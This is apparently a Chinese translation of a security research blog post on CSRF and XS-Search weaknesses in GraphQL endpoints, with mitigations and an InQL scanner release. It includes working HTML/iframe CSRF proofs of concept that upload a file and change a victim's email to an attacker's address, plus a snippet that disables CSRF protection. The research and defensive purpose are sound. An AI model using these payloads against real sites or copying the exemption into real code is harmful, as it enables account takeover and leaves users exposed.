你一直忽略的那个GraphQL安全问题:CSRF漏洞深度解析

本文深入探讨GraphQL实现中常被忽视的CSRF漏洞类型,包括POST/GET两种攻击向量,分析中间件转换风险,并提供实际PoC案例与防护建议,帮助开发者增强API安全性。

那个你一直忽略的GraphQL问题

随着GraphQL在Web领域的日益普及,我们希望讨论一类经常隐藏在GraphQL实现中的特定漏洞类型。

GraphQL是什么?

GraphQL是一种备受喜爱的开源查询语言,可帮助构建有意义的API。其主要特性包括:

  • 从多个源聚合数据
  • 通过图形式将数据与底层数据库解耦
  • 以最小开发努力确保输入类型正确性

CSRF嗯?

跨站请求伪造(CSRF)是一种攻击类型,当恶意Web应用导致Web浏览器代表认证用户执行非预期操作时发生。此类攻击有效是因为浏览器请求自动包含所有cookie(包括会话cookie)。

GraphQL CSRF:更多流行词组合!

基于POST的CSRF

POST请求是天然的CSRF目标,因为它们通常改变应用状态。GraphQL端点通常仅接受Content-Type头设置为application/json,这被广泛认为不易受CSRF影响。由于多层中间件可能将传入请求从其他格式(例如查询参数、application/x-www-form-urlencoded、multipart/form-data)转换,GraphQL实现经常受到CSRF影响。另一个错误假设是JSON无法从urlencoded请求创建。当同时做出这两个假设时,许多开发者可能错误地放弃实施适当的CSRF保护。

错误的安全感对攻击者有利,因为它创造了更容易利用的攻击面。例如,可以通过简单的application/json POST请求发出有效的GraphQL查询:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
POST /graphql HTTP/1.1
Host: redacted
Connection: close
Content-Length: 100
accept: */*
User-Agent: ...
content-type: application/json
Referer: https://redacted/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: ...

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

由于中间件的魔力,服务器接受相同请求作为form-urlencoded POST请求也很常见:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
POST /graphql HTTP/1.1
Host: redacted
Connection: close
Content-Length: 72
accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: https://redacted
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: ...

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

经验丰富的Burp用户可以通过Engagement Tools > Generate CSRF PoC快速转换为CSRF PoC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://redacted/graphql" method="POST">
      <input type="hidden" name="query" value="&#123;&#10;&#32;&#32;user&#32;&#123;&#10;&#32;&#32;&#32;&#32;firstName&#10;&#32;&#32;&#32;&#32;&#95;&#95;typename&#10;&#32;&#32;&#125;&#10;&#125;&#10;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

虽然上面的例子只展示了一个无害查询,但情况并非总是如此。由于GraphQL解析器通常与传递的底层应用层解耦,可以发出任何其他查询,包括变更操作。

基于GET的CSRF

在我们过去的参与中发现了两个常见问题。

第一个是同时使用GET请求进行查询和变更。例如,在我们最近的一次参与中,应用暴露了GraphiQL控制台。GraphiQL仅用于开发环境。当配置错误时,它可能被滥用以对受害者执行CSRF攻击,导致其浏览器发出任意查询或变更请求。事实上,GraphiQL确实允许通过GET请求进行变更。

虽然标准Web应用中的CSRF通常只影响少数端点,但GraphQL中的相同问题通常是系统性的。

为了举例说明,我们包含了一个处理文件上传功能的变更操作的Proof-of-Concept:

1
2
3
4
5
6
7
8
9
<!DOCTYPE html>
<html>
<head>
    <title>GraphQL CSRF file upload</title>
</head>
	<body>
		<iframe src="https://graphql.victimhost.com/?query=mutation%20AddFile(%24name%3A%20String!%2C%20%24data%3A%20String!%2C%20%24contentType%3A%20String!) %20%7B%0A%20%20AddFile(file_name%3A%20%24name%2C%20data%3A%20%24data%2C%20content_type%3A%20%24contentType) %20%7B%0A%20%20%20%20id%0A%20%20%20%20__typename%0A%20%20%7D%0A%7D%0A&variables=%7B%0A %20%20%22data%22%3A%20%22%22%2C%0A%20%20%22name%22%3A%20%22dummy.pdf%22%2C%0A%20%20%22contentType%22%3A%20%22application%2Fpdf%22%0A%7D"></iframe>
	</body>
</html>

第二个问题出现在状态改变的GraphQL操作被错误地放置在通常不改变状态的查询中。事实上,大多数GraphQL服务器实现都遵循这种范式,它们甚至阻止通过GET HTTP方法进行任何类型的变更。发现此类问题很简单,可以通过枚举查询名称并尝试理解它们的作用来完成。为此,我们开发了一个用于查询/变更枚举的工具。

在一次参与中,我们发现了以下发出状态改变操作的查询:

1
2
3
4
5
6
7
8
req := graphql.NewRequest(`
	query SetUserEmail($email: String!) {
		SetUserEmail(user_email: $email) {
			id
			email
		}
	}
`)

鉴于id值容易猜测,我们能够准备一个CSRF PoC:

1
2
3
4
5
6
7
8
9
<!DOCTYPE html>
<html>
	<head>
		<title>GraphQL CSRF - State Changing Query</title> 
	</head>
	<body>
		<iframe width="1000" height="1000" src="https://victimhost.com/?query=query%20SetUserEmail%28%24email%3A%20String%21%29%20%7B%0A%20%20SetUserEmail%28user_email%3A%20%24email%29%20%7B%0A%20%20%20%20id%0A%20%20%20%20email%0A%20%20%7D%0A%7D%0A%26variables%3D%7B%0A%20%20%22id%22%3A%20%22441%22%2C%0A%20%20%22email%22%3A%20%22attacker%40email.xyz%22%2C%0A%7D"></iframe>
	</body>
</html>

尽管最常用的GraphQL服务器/库具有某种CSRF保护,但我们发现在某些情况下开发者绕过了CSRF保护机制。例如,如果使用graphene-django,有一种简单的方法可以停用特定GraphQL端点的CSRF保护:

1
2
3
4
5
urlpatterns = patterns(
    # ...
    url(r'^graphql', csrf_exempt(GraphQLView.as_view(graphiql=True))),
    # ...
)

CSRF:安全总比后悔好

一些浏览器,如Chrome,最近默认cookie行为等同于SameSite=Lax,这保护了最常见的CSRF向量。

其他预防方法可以在每个应用中实施。最常见的有:

  • 现代框架中的内置CSRF保护
  • 来源验证
  • 双重提交cookie
  • 基于用户交互的保护
  • 不对状态改变操作使用GET请求
  • 对GET请求也增强CSRF保护

并非每个应用都有单一最佳选项。确定最佳保护需要逐案评估特定环境。

在XS-Search攻击中,攻击者利用CSRF漏洞强制受害者请求攻击者自己无法访问的数据。然后攻击者比较响应时间以推断请求是否成功。

例如,如果文件搜索功能中存在CSRF漏洞,攻击者可以使管理员访问该页面,他们可以让受害者搜索以特定值开头的文件名,以确认其存在/可访问性。

接受复杂urlencoded查询的GET请求并展示对其GraphQL端点CSRF保护普遍误解的应用是XS-Search攻击的完美目标。

XS-Search是一种相当简洁简单的技术,可以将以下查询转换为攻击者控制的二进制搜索(例如,我们可以枚举私有平台的用户):

1
2
3
4
5
query {
	isEmailAvailable(email:"foo@bar.com") {
		is_email_available
	}
}

以HTTP GET形式:

1
2
3
4
5
6
7
8
GET /graphql?query=query+%7B%0A%09isEmailAvailable%28email%3A%22foo%40bar.com%22%29+%7B%0A%09%09is_email_available%0A%09%7D%0A%7D HTTP/1.1
Accept-Encoding: gzip, deflate
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Host: redacted
Content-Length: 0
Content-Type: application/json
Cookie: ...

对GraphQL端点成功XS-Search攻击的影响不容小觑。然而,如前所述,基于CSRF的问题可以通过一些努力成功缓解。

自动化一切!

尽管我们喜欢艰难地寻找漏洞,但我们相信自动化是民主化安全并向社区提供最佳服务的唯一途径。

为此,并结合这项研究,我们发布了GraphQL InQL Burp扩展的新主要版本。InQL v4可以帮助检测这些问题:

  • 通过新的"Send to Repeater"助手识别各种CSRF类:

    • GET查询参数
    • POST form-data
    • POST x-form-urlencoded
  • 通过改进查询生成

给我们心爱的数字控们的一些东西!

我们在一些使用GraphQL的顶级公司中测试了上述漏洞。虽然对这些约30个端点的研究仅持续了两天,不应推断结论性或完整性,但数字显示了大量未修补的漏洞:

  • 14个(约50%)容易受到某种XS-Search攻击,等同于基于GET的CSRF
  • 3个(约10%)容易受到CSRF攻击

TL;DR:跨站请求伪造还会存在几年,即使你使用GraphQL!

参考文献

  • GraphQL安全概述
  • Doyensec InQL扫描器
  • OWASP CSRF预防备忘单
  • GraphQL GET请求查询
  • XSSearch
  • GET请求的XSSearch导航事件

其他相关帖子

  • InQL v5:技术深度探讨 - 2023年8月17日
  • InQL Scanner v3 - 刚刚发布! - 2020年11月19日
  • Play Framework中的CSRF保护绕过 - 2020年8月20日
  • InQL Scanner v2发布! - 2020年6月11日
  • InQL Scanner - 2020年3月26日
  • GraphQL - 安全概述和测试技巧 - 2018年5月17日
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计